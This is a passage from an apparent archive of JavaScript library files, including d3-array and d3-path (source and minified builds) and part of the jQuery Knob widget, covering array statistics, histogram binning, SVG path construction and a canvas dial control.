    while (++i < n) ticks[i] = (start + i) * step;
  } else {
    start = Math.floor(start * step);
    stop = Math.ceil(stop * step);
    ticks = new Array(n = Math.ceil(start - stop + 1));
    while (++i < n) ticks[i] = (start - i) / step;
  }

  if (reverse) ticks.reverse();

  return ticks;
}

function tickIncrement(start, stop, count) {
  var step = (stop - start) / Math.max(0, count),
      power = Math.floor(Math.log(step) / Math.LN10),
      error = step / Math.pow(10, power);
  return power >= 0
      ? (error >= e10 ? 10 : error >= e5 ? 5 : error >= e2 ? 2 : 1) * Math.pow(10, power)
      : -Math.pow(10, -power) / (error >= e10 ? 10 : error >= e5 ? 5 : error >= e2 ? 2 : 1);
}

function tickStep(start, stop, count) {
  var step0 = Math.abs(stop - start) / Math.max(0, count),
      step1 = Math.pow(10, Math.floor(Math.log(step0) / Math.LN10)),
      error = step0 / step1;
  if (error >= e10) step1 *= 10;
  else if (error >= e5) step1 *= 5;
  else if (error >= e2) step1 *= 2;
  return stop < start ? -step1 : step1;
}

function sturges(values) {
  return Math.ceil(Math.log(values.length) / Math.LN2) + 1;
}

function histogram() {
  var value = identity,
      domain = extent,
      threshold = sturges;

  function histogram(data) {
    var i,
        n = data.length,
        x,
        values = new Array(n);

    for (i = 0; i < n; ++i) {
      values[i] = value(data[i], i, data);
    }

    var xz = domain(values),
        x0 = xz[0],
        x1 = xz[1],
        tz = threshold(values, x0, x1);

    // Convert number of thresholds into uniform thresholds.
    if (!Array.isArray(tz)) {
      tz = tickStep(x0, x1, tz);
      tz = range(Math.ceil(x0 / tz) * tz, x1, tz); // exclusive
    }

    // Remove any thresholds outside the domain.
    var m = tz.length;
    while (tz[0] <= x0) tz.shift(), --m;
    while (tz[m - 1] > x1) tz.pop(), --m;

    var bins = new Array(m + 1),
        bin;

    // Initialize bins.
    for (i = 0; i <= m; ++i) {
      bin = bins[i] = [];
      bin.x0 = i > 0 ? tz[i - 1] : x0;
      bin.x1 = i < m ? tz[i] : x1;
    }

    // Assign data to bins by value, ignoring any outside the domain.
    for (i = 0; i < n; ++i) {
      x = values[i];
      if (x0 <= x && x <= x1) {
        bins[bisectRight(tz, x, 0, m)].push(data[i]);
      }
    }

    return bins;
  }

  histogram.value = function(_) {
    return arguments.length ? (value = typeof _ === "function" ? _ : constant(_), histogram) : value;
  };

  histogram.domain = function(_) {
    return arguments.length ? (domain = typeof _ === "function" ? _ : constant([_[0], _[1]]), histogram) : domain;
  };

  histogram.thresholds = function(_) {
    return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), histogram) : threshold;
  };

  return histogram;
}

function quantile(values, p, valueof) {
  if (valueof == null) valueof = number;
  if (!(n = values.length)) return;
  if ((p = +p) <= 0 || n < 2) return +valueof(values[0], 0, values);
  if (p >= 1) return +valueof(values[n - 1], n - 1, values);
  var n,
      i = (n - 1) * p,
      i0 = Math.floor(i),
      value0 = +valueof(values[i0], i0, values),
      value1 = +valueof(values[i0 + 1], i0 + 1, values);
  return value0 + (value1 - value0) * (i - i0);
}

function freedmanDiaconis(values, min, max) {
  values = map.call(values, number).sort(ascending);
  return Math.ceil((max - min) / (2 * (quantile(values, 0.75) - quantile(values, 0.25)) * Math.pow(values.length, -1 / 3)));
}

function scott(values, min, max) {
  return Math.ceil((max - min) / (3.5 * deviation(values) * Math.pow(values.length, -1 / 3)));
}

function max(values, valueof) {
  var n = values.length,
      i = -1,
      value,
      max;

  if (valueof == null) {
    while (++i < n) { // Find the first comparable value.
      if ((value = values[i]) != null && value >= value) {
        max = value;
        while (++i < n) { // Compare the remaining values.
          if ((value = values[i]) != null && value > max) {
            max = value;
          }
        }
      }
    }
  }

  else {
    while (++i < n) { // Find the first comparable value.
      if ((value = valueof(values[i], i, values)) != null && value >= value) {
        max = value;
        while (++i < n) { // Compare the remaining values.
          if ((value = valueof(values[i], i, values)) != null && value > max) {
            max = value;
          }
        }
      }
    }
  }

  return max;
}

function mean(values, valueof) {
  var n = values.length,
      m = n,
      i = -1,
      value,
      sum = 0;

  if (valueof == null) {
    while (++i < n) {
      if (!isNaN(value = number(values[i]))) sum += value;
      else --m;
    }
  }

  else {
    while (++i < n) {
      if (!isNaN(value = number(valueof(values[i], i, values)))) sum += value;
      else --m;
    }
  }

  if (m) return sum / m;
}

function median(values, valueof) {
  var n = values.length,
      i = -1,
      value,
      numbers = [];

  if (valueof == null) {
    while (++i < n) {
      if (!isNaN(value = number(values[i]))) {
        numbers.push(value);
      }
    }
  }

  else {
    while (++i < n) {
      if (!isNaN(value = number(valueof(values[i], i, values)))) {
        numbers.push(value);
      }
    }
  }

  return quantile(numbers.sort(ascending), 0.5);
}

function merge(arrays) {
  var n = arrays.length,
      m,
      i = -1,
      j = 0,
      merged,
      array;

  while (++i < n) j += arrays[i].length;
  merged = new Array(j);

  while (--n >= 0) {
    array = arrays[n];
    m = array.length;
    while (--m >= 0) {
      merged[--j] = array[m];
    }
  }

  return merged;
}

function min(values, valueof) {
  var n = values.length,
      i = -1,
      value,
      min;

  if (valueof == null) {
    while (++i < n) { // Find the first comparable value.
      if ((value = values[i]) != null && value >= value) {
        min = value;
        while (++i < n) { // Compare the remaining values.
          if ((value = values[i]) != null && min > value) {
            min = value;
          }
        }
      }
    }
  }

  else {
    while (++i < n) { // Find the first comparable value.
      if ((value = valueof(values[i], i, values)) != null && value >= value) {
        min = value;
        while (++i < n) { // Compare the remaining values.
          if ((value = valueof(values[i], i, values)) != null && min > value) {
            min = value;
          }
        }
      }
    }
  }

  return min;
}

function permute(array, indexes) {
  var i = indexes.length, permutes = new Array(i);
  while (i--) permutes[i] = array[indexes[i]];
  return permutes;
}

function scan(values, compare) {
  if (!(n = values.length)) return;
  var n,
      i = 0,
      j = 0,
      xi,
      xj = values[j];

  if (compare == null) compare = ascending;

  while (++i < n) {
    if (compare(xi = values[i], xj) < 0 || compare(xj, xj) !== 0) {
      xj = xi, j = i;
    }
  }

  if (compare(xj, xj) === 0) return j;
}

function shuffle(array, i0, i1) {
  var m = (i1 == null ? array.length : i1) - (i0 = i0 == null ? 0 : +i0),
      t,
      i;

  while (m) {
    i = Math.random() * m-- | 0;
    t = array[m + i0];
    array[m + i0] = array[i + i0];
    array[i + i0] = t;
  }

  return array;
}

function sum(values, valueof) {
  var n = values.length,
      i = -1,
      value,
      sum = 0;

  if (valueof == null) {
    while (++i < n) {
      if (value = +values[i]) sum += value; // Note: zero and null are equivalent.
    }
  }

  else {
    while (++i < n) {
      if (value = +valueof(values[i], i, values)) sum += value;
    }
  }

  return sum;
}

function transpose(matrix) {
  if (!(n = matrix.length)) return [];
  for (var i = -1, m = min(matrix, length), transpose = new Array(m); ++i < m;) {
    for (var j = -1, n, row = transpose[i] = new Array(n); ++j < n;) {
      row[j] = matrix[j][i];
    }
  }
  return transpose;
}

function length(d) {
  return d.length;
}

function zip() {
  return transpose(arguments);
}

exports.bisect = bisectRight;
exports.bisectRight = bisectRight;
exports.bisectLeft = bisectLeft;
exports.ascending = ascending;
exports.bisector = bisector;
exports.cross = cross;
exports.descending = descending;
exports.deviation = deviation;
exports.extent = extent;
exports.histogram = histogram;
exports.thresholdFreedmanDiaconis = freedmanDiaconis;
exports.thresholdScott = scott;
exports.thresholdSturges = sturges;
exports.max = max;
exports.mean = mean;
exports.median = median;
exports.merge = merge;
exports.min = min;
exports.pairs = pairs;
exports.permute = permute;
exports.quantile = quantile;
exports.range = range;
exports.scan = scan;
exports.shuffle = shuffle;
exports.sum = sum;
exports.ticks = ticks;
exports.tickIncrement = tickIncrement;
exports.tickStep = tickStep;
exports.transpose = transpose;
exports.variance = variance;
exports.zip = zip;

Object.defineProperty(exports, '__esModule', { value: true });

})));
d3-array.min.js000064400000013303151677306570007327 0ustar00// https://d3js.org/d3-array/ v1.2.4 Copyright 2018 Mike Bostock
!function(n,r){"object"==typeof exports&&"undefined"!=typeof module?r(exports):"function"==typeof define&&define.amd?define(["exports"],r):r(n.d3=n.d3||{})}(this,function(n){"use strict";function r(n,r){return n<r?-1:n>r?1:n>=r?0:NaN}function t(n){var t;return 1===n.length&&(t=n,n=function(n,e){return r(t(n),e)}),{left:function(r,t,e,o){for(null==e&&(e=0),null==o&&(o=r.length);e<o;){var u=e+o>>>1;n(r[u],t)<0?e=u+1:o=u}return e},right:function(r,t,e,o){for(null==e&&(e=0),null==o&&(o=r.length);e<o;){var u=e+o>>>1;n(r[u],t)>0?o=u:e=u+1}return e}}}var e=t(r),o=e.right,u=e.left;function f(n,r){return[n,r]}function l(n){return null===n?NaN:+n}function i(n,r){var t,e,o=n.length,u=0,f=-1,i=0,a=0;if(null==r)for(;++f<o;)isNaN(t=l(n[f]))||(a+=(e=t-i)*(t-(i+=e/++u)));else for(;++f<o;)isNaN(t=l(r(n[f],f,n)))||(a+=(e=t-i)*(t-(i+=e/++u)));if(u>1)return a/(u-1)}function a(n,r){var t=i(n,r);return t?Math.sqrt(t):t}function h(n,r){var t,e,o,u=n.length,f=-1;if(null==r){for(;++f<u;)if(null!=(t=n[f])&&t>=t)for(e=o=t;++f<u;)null!=(t=n[f])&&(e>t&&(e=t),o<t&&(o=t))}else for(;++f<u;)if(null!=(t=r(n[f],f,n))&&t>=t)for(e=o=t;++f<u;)null!=(t=r(n[f],f,n))&&(e>t&&(e=t),o<t&&(o=t));return[e,o]}var c=Array.prototype,s=c.slice,g=c.map;function v(n){return function(){return n}}function M(n){return n}function p(n,r,t){n=+n,r=+r,t=(o=arguments.length)<2?(r=n,n=0,1):o<3?1:+t;for(var e=-1,o=0|Math.max(0,Math.ceil((r-n)/t)),u=new Array(o);++e<o;)u[e]=n+e*t;return u}var d=Math.sqrt(50),y=Math.sqrt(10),N=Math.sqrt(2);function m(n,r,t){var e=(r-n)/Math.max(0,t),o=Math.floor(Math.log(e)/Math.LN10),u=e/Math.pow(10,o);return o>=0?(u>=d?10:u>=y?5:u>=N?2:1)*Math.pow(10,o):-Math.pow(10,-o)/(u>=d?10:u>=y?5:u>=N?2:1)}function w(n,r,t){var e=Math.abs(r-n)/Math.max(0,t),o=Math.pow(10,Math.floor(Math.log(e)/Math.LN10)),u=e/o;return u>=d?o*=10:u>=y?o*=5:u>=N&&(o*=2),r<n?-o:o}function A(n){return Math.ceil(Math.log(n.length)/Math.LN2)+1}function x(n,r,t){if(null==t&&(t=l),e=n.length){if((r=+r)<=0||e<2)return+t(n[0],0,n);if(r>=1)return+t(n[e-1],e-1,n);var e,o=(e-1)*r,u=Math.floor(o),f=+t(n[u],u,n);return f+(+t(n[u+1],u+1,n)-f)*(o-u)}}function b(n,r){var t,e,o=n.length,u=-1;if(null==r){for(;++u<o;)if(null!=(t=n[u])&&t>=t)for(e=t;++u<o;)null!=(t=n[u])&&e>t&&(e=t)}else for(;++u<o;)if(null!=(t=r(n[u],u,n))&&t>=t)for(e=t;++u<o;)null!=(t=r(n[u],u,n))&&e>t&&(e=t);return e}function q(n){if(!(o=n.length))return[];for(var r=-1,t=b(n,L),e=new Array(t);++r<t;)for(var o,u=-1,f=e[r]=new Array(o);++u<o;)f[u]=n[u][r];return e}function L(n){return n.length}n.bisect=o,n.bisectRight=o,n.bisectLeft=u,n.ascending=r,n.bisector=t,n.cross=function(n,r,t){var e,o,u,l,i=n.length,a=r.length,h=new Array(i*a);for(null==t&&(t=f),e=u=0;e<i;++e)for(l=n[e],o=0;o<a;++o,++u)h[u]=t(l,r[o]);return h},n.descending=function(n,r){return r<n?-1:r>n?1:r>=n?0:NaN},n.deviation=a,n.extent=h,n.histogram=function(){var n=M,r=h,t=A;function e(e){var u,f,l=e.length,i=new Array(l);for(u=0;u<l;++u)i[u]=n(e[u],u,e);var a=r(i),h=a[0],c=a[1],s=t(i,h,c);Array.isArray(s)||(s=w(h,c,s),s=p(Math.ceil(h/s)*s,c,s));for(var g=s.length;s[0]<=h;)s.shift(),--g;for(;s[g-1]>c;)s.pop(),--g;var v,M=new Array(g+1);for(u=0;u<=g;++u)(v=M[u]=[]).x0=u>0?s[u-1]:h,v.x1=u<g?s[u]:c;for(u=0;u<l;++u)h<=(f=i[u])&&f<=c&&M[o(s,f,0,g)].push(e[u]);return M}return e.value=function(r){return arguments.length?(n="function"==typeof r?r:v(r),e):n},e.domain=function(n){return arguments.length?(r="function"==typeof n?n:v([n[0],n[1]]),e):r},e.thresholds=function(n){return arguments.length?(t="function"==typeof n?n:Array.isArray(n)?v(s.call(n)):v(n),e):t},e},n.thresholdFreedmanDiaconis=function(n,t,e){return n=g.call(n,l).sort(r),Math.ceil((e-t)/(2*(x(n,.75)-x(n,.25))*Math.pow(n.length,-1/3)))},n.thresholdScott=function(n,r,t){return Math.ceil((t-r)/(3.5*a(n)*Math.pow(n.length,-1/3)))},n.thresholdSturges=A,n.max=function(n,r){var t,e,o=n.length,u=-1;if(null==r){for(;++u<o;)if(null!=(t=n[u])&&t>=t)for(e=t;++u<o;)null!=(t=n[u])&&t>e&&(e=t)}else for(;++u<o;)if(null!=(t=r(n[u],u,n))&&t>=t)for(e=t;++u<o;)null!=(t=r(n[u],u,n))&&t>e&&(e=t);return e},n.mean=function(n,r){var t,e=n.length,o=e,u=-1,f=0;if(null==r)for(;++u<e;)isNaN(t=l(n[u]))?--o:f+=t;else for(;++u<e;)isNaN(t=l(r(n[u],u,n)))?--o:f+=t;if(o)return f/o},n.median=function(n,t){var e,o=n.length,u=-1,f=[];if(null==t)for(;++u<o;)isNaN(e=l(n[u]))||f.push(e);else for(;++u<o;)isNaN(e=l(t(n[u],u,n)))||f.push(e);return x(f.sort(r),.5)},n.merge=function(n){for(var r,t,e,o=n.length,u=-1,f=0;++u<o;)f+=n[u].length;for(t=new Array(f);--o>=0;)for(r=(e=n[o]).length;--r>=0;)t[--f]=e[r];return t},n.min=b,n.pairs=function(n,r){null==r&&(r=f);for(var t=0,e=n.length-1,o=n[0],u=new Array(e<0?0:e);t<e;)u[t]=r(o,o=n[++t]);return u},n.permute=function(n,r){for(var t=r.length,e=new Array(t);t--;)e[t]=n[r[t]];return e},n.quantile=x,n.range=p,n.scan=function(n,t){if(e=n.length){var e,o,u=0,f=0,l=n[f];for(null==t&&(t=r);++u<e;)(t(o=n[u],l)<0||0!==t(l,l))&&(l=o,f=u);return 0===t(l,l)?f:void 0}},n.shuffle=function(n,r,t){for(var e,o,u=(null==t?n.length:t)-(r=null==r?0:+r);u;)o=Math.random()*u--|0,e=n[u+r],n[u+r]=n[o+r],n[o+r]=e;return n},n.sum=function(n,r){var t,e=n.length,o=-1,u=0;if(null==r)for(;++o<e;)(t=+n[o])&&(u+=t);else for(;++o<e;)(t=+r(n[o],o,n))&&(u+=t);return u},n.ticks=function(n,r,t){var e,o,u,f,l=-1;if(t=+t,(n=+n)==(r=+r)&&t>0)return[n];if((e=r<n)&&(o=n,n=r,r=o),0===(f=m(n,r,t))||!isFinite(f))return[];if(f>0)for(n=Math.ceil(n/f),r=Math.floor(r/f),u=new Array(o=Math.ceil(r-n+1));++l<o;)u[l]=(n+l)*f;else for(n=Math.floor(n*f),r=Math.ceil(r*f),u=new Array(o=Math.ceil(n-r+1));++l<o;)u[l]=(n-l)/f;return e&&u.reverse(),u},n.tickIncrement=m,n.tickStep=w,n.transpose=q,n.variance=i,n.zip=function(){return q(arguments)},Object.defineProperty(n,"__esModule",{value:!0})});
d3-path.min.js000064400000004156151677310640007144 0ustar00// https://d3js.org/d3-path/ v1.0.7 Copyright 2018 Mike Bostock
!function(t,i){"object"==typeof exports&&"undefined"!=typeof module?i(exports):"function"==typeof define&&define.amd?define(["exports"],i):i(t.d3=t.d3||{})}(this,function(t){"use strict";var i=Math.PI,s=2*i,h=s-1e-6;function _(){this._x0=this._y0=this._x1=this._y1=null,this._=""}function e(){return new _}_.prototype=e.prototype={constructor:_,moveTo:function(t,i){this._+="M"+(this._x0=this._x1=+t)+","+(this._y0=this._y1=+i)},closePath:function(){null!==this._x1&&(this._x1=this._x0,this._y1=this._y0,this._+="Z")},lineTo:function(t,i){this._+="L"+(this._x1=+t)+","+(this._y1=+i)},quadraticCurveTo:function(t,i,s,h){this._+="Q"+ +t+","+ +i+","+(this._x1=+s)+","+(this._y1=+h)},bezierCurveTo:function(t,i,s,h,_,e){this._+="C"+ +t+","+ +i+","+ +s+","+ +h+","+(this._x1=+_)+","+(this._y1=+e)},arcTo:function(t,s,h,_,e){t=+t,s=+s,h=+h,_=+_,e=+e;var n=this._x1,o=this._y1,r=h-t,a=_-s,u=n-t,c=o-s,f=u*u+c*c;if(e<0)throw new Error("negative radius: "+e);if(null===this._x1)this._+="M"+(this._x1=t)+","+(this._y1=s);else if(f>1e-6)if(Math.abs(c*r-a*u)>1e-6&&e){var x=h-n,y=_-o,M=r*r+a*a,l=x*x+y*y,d=Math.sqrt(M),p=Math.sqrt(f),v=e*Math.tan((i-Math.acos((M+f-l)/(2*d*p)))/2),b=v/p,w=v/d;Math.abs(b-1)>1e-6&&(this._+="L"+(t+b*u)+","+(s+b*c)),this._+="A"+e+","+e+",0,0,"+ +(c*x>u*y)+","+(this._x1=t+w*r)+","+(this._y1=s+w*a)}else this._+="L"+(this._x1=t)+","+(this._y1=s);else;},arc:function(t,_,e,n,o,r){t=+t,_=+_;var a=(e=+e)*Math.cos(n),u=e*Math.sin(n),c=t+a,f=_+u,x=1^r,y=r?n-o:o-n;if(e<0)throw new Error("negative radius: "+e);null===this._x1?this._+="M"+c+","+f:(Math.abs(this._x1-c)>1e-6||Math.abs(this._y1-f)>1e-6)&&(this._+="L"+c+","+f),e&&(y<0&&(y=y%s+s),y>h?this._+="A"+e+","+e+",0,1,"+x+","+(t-a)+","+(_-u)+"A"+e+","+e+",0,1,"+x+","+(this._x1=c)+","+(this._y1=f):y>1e-6&&(this._+="A"+e+","+e+",0,"+ +(y>=i)+","+x+","+(this._x1=t+e*Math.cos(o))+","+(this._y1=_+e*Math.sin(o))))},rect:function(t,i,s,h){this._+="M"+(this._x0=this._x1=+t)+","+(this._y0=this._y1=+i)+"h"+ +s+"v"+ +h+"h"+-s+"Z"},toString:function(){return this._}},t.path=e,Object.defineProperty(t,"__esModule",{value:!0})});
d3-path.js000064400000011167151677310640006362 0ustar00// https://d3js.org/d3-path/ v1.0.7 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
typeof define === 'function' && define.amd ? define(['exports'], factory) :
(factory((global.d3 = global.d3 || {})));
}(this, (function (exports) { 'use strict';

var pi = Math.PI,
    tau = 2 * pi,
    epsilon = 1e-6,
    tauEpsilon = tau - epsilon;

function Path() {
  this._x0 = this._y0 = // start of current subpath
  this._x1 = this._y1 = null; // end of current subpath
  this._ = "";
}

function path() {
  return new Path;
}

Path.prototype = path.prototype = {
  constructor: Path,
  moveTo: function(x, y) {
    this._ += "M" + (this._x0 = this._x1 = +x) + "," + (this._y0 = this._y1 = +y);
  },
  closePath: function() {
    if (this._x1 !== null) {
      this._x1 = this._x0, this._y1 = this._y0;
      this._ += "Z";
    }
  },
  lineTo: function(x, y) {
    this._ += "L" + (this._x1 = +x) + "," + (this._y1 = +y);
  },
  quadraticCurveTo: function(x1, y1, x, y) {
    this._ += "Q" + (+x1) + "," + (+y1) + "," + (this._x1 = +x) + "," + (this._y1 = +y);
  },
  bezierCurveTo: function(x1, y1, x2, y2, x, y) {
    this._ += "C" + (+x1) + "," + (+y1) + "," + (+x2) + "," + (+y2) + "," + (this._x1 = +x) + "," + (this._y1 = +y);
  },
  arcTo: function(x1, y1, x2, y2, r) {
    x1 = +x1, y1 = +y1, x2 = +x2, y2 = +y2, r = +r;
    var x0 = this._x1,
        y0 = this._y1,
        x21 = x2 - x1,
        y21 = y2 - y1,
        x01 = x0 - x1,
        y01 = y0 - y1,
        l01_2 = x01 * x01 + y01 * y01;

    // Is the radius negative? Error.
    if (r < 0) throw new Error("negative radius: " + r);

    // Is this path empty? Move to (x1,y1).
    if (this._x1 === null) {
      this._ += "M" + (this._x1 = x1) + "," + (this._y1 = y1);
    }

    // Or, is (x1,y1) coincident with (x0,y0)? Do nothing.
    else if (!(l01_2 > epsilon));

    // Or, are (x0,y0), (x1,y1) and (x2,y2) collinear?
    // Equivalently, is (x1,y1) coincident with (x2,y2)?
    // Or, is the radius zero? Line to (x1,y1).
    else if (!(Math.abs(y01 * x21 - y21 * x01) > epsilon) || !r) {
      this._ += "L" + (this._x1 = x1) + "," + (this._y1 = y1);
    }

    // Otherwise, draw an arc!
    else {
      var x20 = x2 - x0,
          y20 = y2 - y0,
          l21_2 = x21 * x21 + y21 * y21,
          l20_2 = x20 * x20 + y20 * y20,
          l21 = Math.sqrt(l21_2),
          l01 = Math.sqrt(l01_2),
          l = r * Math.tan((pi - Math.acos((l21_2 + l01_2 - l20_2) / (2 * l21 * l01))) / 2),
          t01 = l / l01,
          t21 = l / l21;

      // If the start tangent is not coincident with (x0,y0), line to.
      if (Math.abs(t01 - 1) > epsilon) {
        this._ += "L" + (x1 + t01 * x01) + "," + (y1 + t01 * y01);
      }

      this._ += "A" + r + "," + r + ",0,0," + (+(y01 * x20 > x01 * y20)) + "," + (this._x1 = x1 + t21 * x21) + "," + (this._y1 = y1 + t21 * y21);
    }
  },
  arc: function(x, y, r, a0, a1, ccw) {
    x = +x, y = +y, r = +r;
    var dx = r * Math.cos(a0),
        dy = r * Math.sin(a0),
        x0 = x + dx,
        y0 = y + dy,
        cw = 1 ^ ccw,
        da = ccw ? a0 - a1 : a1 - a0;

    // Is the radius negative? Error.
    if (r < 0) throw new Error("negative radius: " + r);

    // Is this path empty? Move to (x0,y0).
    if (this._x1 === null) {
      this._ += "M" + x0 + "," + y0;
    }

    // Or, is (x0,y0) not coincident with the previous point? Line to (x0,y0).
    else if (Math.abs(this._x1 - x0) > epsilon || Math.abs(this._y1 - y0) > epsilon) {
      this._ += "L" + x0 + "," + y0;
    }

    // Is this arc empty? We’re done.
    if (!r) return;

    // Does the angle go the wrong way? Flip the direction.
    if (da < 0) da = da % tau + tau;

    // Is this a complete circle? Draw two arcs to complete the circle.
    if (da > tauEpsilon) {
      this._ += "A" + r + "," + r + ",0,1," + cw + "," + (x - dx) + "," + (y - dy) + "A" + r + "," + r + ",0,1," + cw + "," + (this._x1 = x0) + "," + (this._y1 = y0);
    }

    // Is this arc non-empty? Draw an arc!
    else if (da > epsilon) {
      this._ += "A" + r + "," + r + ",0," + (+(da >= pi)) + "," + cw + "," + (this._x1 = x + r * Math.cos(a1)) + "," + (this._y1 = y + r * Math.sin(a1));
    }
  },
  rect: function(x, y, w, h) {
    this._ += "M" + (this._x0 = this._x1 = +x) + "," + (this._y0 = this._y1 = +y) + "h" + (+w) + "v" + (+h) + "h" + (-w) + "Z";
  },
  toString: function() {
    return this._;
  }
};

exports.path = path;

Object.defineProperty(exports, '__esModule', { value: true });

})));
jquery.knob.min.js000064400000025064151677316530010160 0ustar00(function(e){if(typeof define==="function"&&define.amd){define(["jquery"],e)}else{e(jQuery)}})(function(e){"use strict";var t={},n=Math.max,r=Math.min;t.c={};t.c.d=e(document);t.c.t=function(e){return e.originalEvent.touches.length-1};t.o=function(){var n=this;this.o=null;this.$=null;this.i=null;this.g=null;this.v=null;this.cv=null;this.x=0;this.y=0;this.w=0;this.h=0;this.$c=null;this.c=null;this.t=0;this.isInit=false;this.fgColor=null;this.pColor=null;this.dH=null;this.cH=null;this.eH=null;this.rH=null;this.scale=1;this.relative=false;this.relativeWidth=false;this.relativeHeight=false;this.$div=null;this.run=function(){var t=function(e,t){var r;for(r in t){n.o[r]=t[r]}n._carve().init();n._configure()._draw()};if(this.$.data("kontroled"))return;this.$.data("kontroled",true);this.extend();this.o=e.extend({min:this.$.data("min")!==undefined?this.$.data("min"):0,max:this.$.data("max")!==undefined?this.$.data("max"):100,stopper:true,readOnly:this.$.data("readonly")||this.$.attr("readonly")==="readonly",cursor:this.$.data("cursor")===true&&30||this.$.data("cursor")||0,thickness:this.$.data("thickness")&&Math.max(Math.min(this.$.data("thickness"),1),.01)||.35,lineCap:this.$.data("linecap")||"butt",width:this.$.data("width")||200,height:this.$.data("height")||200,displayInput:this.$.data("displayinput")==null||this.$.data("displayinput"),displayPrevious:this.$.data("displayprevious"),fgColor:this.$.data("fgcolor")||"#87CEEB",inputColor:this.$.data("inputcolor"),font:this.$.data("font")||"Arial",fontWeight:this.$.data("font-weight")||"bold",inline:false,step:this.$.data("step")||1,rotation:this.$.data("rotation"),draw:null,change:null,cancel:null,release:null,format:function(e){return e},parse:function(e){return parseFloat(e)}},this.o);this.o.flip=this.o.rotation==="anticlockwise"||this.o.rotation==="acw";if(!this.o.inputColor){this.o.inputColor=this.o.fgColor}if(this.$.is("fieldset")){this.v={};this.i=this.$.find("input");this.i.each(function(t){var r=e(this);n.i[t]=r;n.v[t]=n.o.parse(r.val());r.bind("change blur",function(){var e={};e[t]=r.val();n.val(n._validate(e))})});this.$.find("legend").remove()}else{this.i=this.$;this.v=this.o.parse(this.$.val());this.v===""&&(this.v=this.o.min);this.$.bind("change blur",function(){n.val(n._validate(n.o.parse(n.$.val())))})}!this.o.displayInput&&this.$.hide();this.$c=e(document.createElement("canvas")).attr({width:this.o.width,height:this.o.height});this.$div=e('<div style="'+(this.o.inline?"display:inline;":"")+"width:"+this.o.width+"px;height:"+this.o.height+"px;"+'"></div>');this.$.wrap(this.$div).before(this.$c);this.$div=this.$.parent();if(typeof G_vmlCanvasManager!=="undefined"){G_vmlCanvasManager.initElement(this.$c[0])}this.c=this.$c[0].getContext?this.$c[0].getContext("2d"):null;if(!this.c){throw{name:"CanvasNotSupportedException",message:"Canvas not supported. Please use excanvas on IE8.0.",toString:function(){return this.name+": "+this.message}}}this.scale=(window.devicePixelRatio||1)/(this.c.webkitBackingStorePixelRatio||this.c.mozBackingStorePixelRatio||this.c.msBackingStorePixelRatio||this.c.oBackingStorePixelRatio||this.c.backingStorePixelRatio||1);this.relativeWidth=this.o.width%1!==0&&this.o.width.indexOf("%");this.relativeHeight=this.o.height%1!==0&&this.o.height.indexOf("%");this.relative=this.relativeWidth||this.relativeHeight;this._carve();if(this.v instanceof Object){this.cv={};this.copy(this.v,this.cv)}else{this.cv=this.v}this.$.bind("configure",t).parent().bind("configure",t);this._listen()._configure()._xy().init();this.isInit=true;this.$.val(this.o.format(this.v));this._draw();return this};this._carve=function(){if(this.relative){var e=this.relativeWidth?this.$div.parent().width()*parseInt(this.o.width)/100:this.$div.parent().width(),t=this.relativeHeight?this.$div.parent().height()*parseInt(this.o.height)/100:this.$div.parent().height();this.w=this.h=Math.min(e,t)}else{this.w=this.o.width;this.h=this.o.height}this.$div.css({width:this.w+"px",height:this.h+"px"});this.$c.attr({width:this.w,height:this.h});if(this.scale!==1){this.$c[0].width=this.$c[0].width*this.scale;this.$c[0].height=this.$c[0].height*this.scale;this.$c.width(this.w);this.$c.height(this.h)}return this};this._draw=function(){var e=true;n.g=n.c;n.clear();n.dH&&(e=n.dH());e!==false&&n.draw()};this._touch=function(e){var r=function(e){var t=n.xy2val(e.originalEvent.touches[n.t].pageX,e.originalEvent.touches[n.t].pageY);if(t==n.cv)return;if(n.cH&&n.cH(t)===false)return;n.change(n._validate(t));n._draw()};this.t=t.c.t(e);r(e);t.c.d.bind("touchmove.k",r).bind("touchend.k",function(){t.c.d.unbind("touchmove.k touchend.k");n.val(n.cv)});return this};this._mouse=function(e){var r=function(e){var t=n.xy2val(e.pageX,e.pageY);if(t==n.cv)return;if(n.cH&&n.cH(t)===false)return;n.change(n._validate(t));n._draw()};r(e);t.c.d.bind("mousemove.k",r).bind("keyup.k",function(e){if(e.keyCode===27){t.c.d.unbind("mouseup.k mousemove.k keyup.k");if(n.eH&&n.eH()===false)return;n.cancel()}}).bind("mouseup.k",function(e){t.c.d.unbind("mousemove.k mouseup.k keyup.k");n.val(n.cv)});return this};this._xy=function(){var e=this.$c.offset();this.x=e.left;this.y=e.top;return this};this._listen=function(){if(!this.o.readOnly){this.$c.bind("mousedown",function(e){e.preventDefault();n._xy()._mouse(e)}).bind("touchstart",function(e){e.preventDefault();n._xy()._touch(e)});this.listen()}else{this.$.attr("readonly","readonly")}if(this.relative){e(window).resize(function(){n._carve().init();n._draw()})}return this};this._configure=function(){if(this.o.draw)this.dH=this.o.draw;if(this.o.change)this.cH=this.o.change;if(this.o.cancel)this.eH=this.o.cancel;if(this.o.release)this.rH=this.o.release;if(this.o.displayPrevious){this.pColor=this.h2rgba(this.o.fgColor,"0.4");this.fgColor=this.h2rgba(this.o.fgColor,"0.6")}else{this.fgColor=this.o.fgColor}return this};this._clear=function(){this.$c[0].width=this.$c[0].width};this._validate=function(e){var t=~~((e<0?-.5:.5)+e/this.o.step)*this.o.step;return Math.round(t*100)/100};this.listen=function(){};this.extend=function(){};this.init=function(){};this.change=function(e){};this.val=function(e){};this.xy2val=function(e,t){};this.draw=function(){};this.clear=function(){this._clear()};this.h2rgba=function(e,t){var n;e=e.substring(1,7);n=[parseInt(e.substring(0,2),16),parseInt(e.substring(2,4),16),parseInt(e.substring(4,6),16)];return"rgba("+n[0]+","+n[1]+","+n[2]+","+t+")"};this.copy=function(e,t){for(var n in 